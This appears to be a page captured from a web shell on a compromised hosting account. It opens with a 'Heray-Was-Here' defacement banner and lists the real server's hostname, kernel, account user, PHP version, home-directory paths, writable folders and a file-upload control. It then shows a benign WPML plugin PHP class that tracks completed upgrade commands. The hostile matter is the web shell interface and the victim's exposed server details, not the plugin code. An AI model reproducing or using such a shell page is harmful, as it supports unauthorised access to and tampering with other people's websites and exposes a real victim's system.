Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/sitepress-multilingual-cmsOLDOLD/classes/upgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/sitepress-multilingual-cmsOLDOLD/classes/upgrade/CommandsStatus.php
<?php

namespace WPML\Upgrade;

class CommandsStatus {
	const OPTION_KEY = 'wpml_update_statuses';

	/**
	 * @param string $className
	 *
	 * @return bool
	 */
	public function hasBeenExecuted( $className ) {
		return (bool) $this->get_update_option_value( $this->get_command_id( $className ) );
	}

	/**
	 * @param string $className
	 * @param bool   $flag
	 */
	public function markAsExecuted( $className, $flag = true ) {
		$this->set_update_status( $this->get_command_id( $className ), $flag );
		wp_cache_flush();
	}

	/**
	 * @param string $className
	 *
	 * @return string
	 */
	private function get_command_id( $className ) {
		return str_replace( '_', '-', strtolower( $className ) );
	}

	private function set_update_status( $id, $value ) {
		$update_options        = get_option( self::OPTION_KEY, array() );
		$update_options[ $id ] = $value;
		update_option( self::OPTION_KEY, $update_options, true );
	}

	private function get_update_option_value( $id ) {
		$update_options = get_option( self::OPTION_KEY, array() );

		if ( $update_options && array_key_exists( $id, $update_options ) ) {
			return $update_options[ $id ];
		}

		return null;
	}
}

Hry